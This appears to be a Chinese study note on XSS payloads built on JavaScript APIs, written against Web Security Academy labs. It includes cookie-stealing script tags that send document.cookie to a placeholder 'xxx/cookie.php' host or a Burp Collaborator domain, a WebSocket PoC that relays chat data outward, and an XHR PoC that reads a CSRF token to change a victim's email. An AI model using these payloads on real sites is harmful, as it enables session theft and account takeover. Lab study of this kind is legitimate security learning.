XSS-Js相关

常用

以下方法都是通过document读cookie,设置了http-only的话就吃瘪了

window.open

open() 方法用于新打开一个新的浏览器窗口或查找一个已命名的窗口。

<script>window.open("http://xxx/cookie.php?cookie="+document.cookie)</script>
<script>window.location="http://xxx/cookie.php?cookie="+document.cookie</script>

document.location

<script>document.location="http://xxx/cookie.php?cookie="+document.cookie</script>

Image

<script>new Image().src="http://xxx/cookie.php?cookie="+document.cookie;<script>

WebSocket

http://www.ruanyifeng.com/blog/2017/05/websocket.html

初次接触 WebSocket 的人,都会问同样的问题:我们已经有了 HTTP 协议,为什么还需要另一个协议?它能带来什么好处?

答案很简单,因为 HTTP 协议有一个缺陷:通信只能由客户端发起。HTTP 协议做不到服务器主动向客户端推送信息。

它的最大特点就是,服务器可以主动向客户端推送信息,客户端也可以主动向服务器发送信息,是真正的双向平等对话

ajax轮询

http单向请求的特点,注定了如果服务器有连续的状态变化,客户端要获知就非常麻烦。我们只能使用“轮询”:每隔一段时候,就发出一个询问,了解服务器有没有新的信息。最典型的场景就是聊天室。

轮询的效率低,非常浪费资源(因为必须不停连接,或者 HTTP 连接始终打开)

握手步骤图解,ajax轮询对比websocket

image-20230507120807295

poc

<script>
    var ws = new WebSocket('wss://0a390011034ce37ac4128868009b005e.web-security-academy.net/chat');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://bhwr3j502kct2ljwwrtofzi68xeo2d.oastify.com', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>

步骤

1新建 WebSocket 实例
var ws = new WebSocket('ws://localhost:8080');

2onopen属性指定连接成功后的回调函数
3实例对象的onmessage属性用于指定收到服务器数据后的回调函数
4实例对象的onclose属性用于指定连接关闭后的回调函数
5实例对象的send()方法用于向服务器发送数据
6实例对象的onerror属性用于指定报错时的回调函数

XMLHttpRequest

JavaScript 中,XMLHttpRequest 是客户端的一个 API,它为浏览器与服务器通信提供了一个便捷通道。现代浏览器都支持 XMLHttpRequest API

poc

<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {
    var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
    var changeReq = new XMLHttpRequest();
    changeReq.open('post', '/my-account/change-email', true);
    changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

步骤

1创建 XMLHttpRequest 对象
XMLHttpRequest 用于在后台与服务器交换数据创建 XMLHttpRequest 对象的方法如下var xhr = new XMLHttpRequest ();

2当接收到响应后将调用此函数不设置的话就是没有
xhr.onload = function
3建立连接
 JavaScript 使用 XMLHttpRequest 对象的 open() 方法可以建立一个 HTTP 请求用法如下xhr.open(method, url, async, username, password);
xhr 表示 XMLHttpRequest 对象open() 方法包含 5 个参数说明如下     methodHTTP 请求方法必须参数值包括 POSTGET  HEAD大小写不敏感     url请求的 URL 字符串必须参数大部分浏览器仅支持同源请求     async指定请求是否为异步方式默认为 true如果为 false当状态改变时会立即调用 onreadystatechange 属性指定  的回调函数     username可选参数如果服务器需要验证该参数指定用户名如果未指定当服务器需要验证时会弹出验证窗口     password可选参数验证信息中的密码部分如果用户名为空则该值将被忽略
4建立连接后可以使用 send() 方法发送请求用法如下xhr.send(body);
参数 body 表示将通过该请求发送的数据如果不传递信息可以设置为 null 或者省略
5发送请求后可以使用 XMLHttpRequest 对象的 responseBodyresponseStreamresponseText  responseXML 属等待接收响应数据

fetch

fetch()是 XMLHttpRequest 的升级版,用于在 JavaScript 脚本里面发出 HTTP 请求。

https://ruanyifeng.com/blog/2020/12/fetch-tutorial.html

基本语法:

let promise = fetch(url, [options])
  • url —— 要访问的 URL。
  • options —— 可选参数:method,header 等。

没有 options,这就是一个简单的 GET 请求。

poc

<script>
fetch('https://BURP-COLLABORATOR-SUBDOMAIN', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>
0%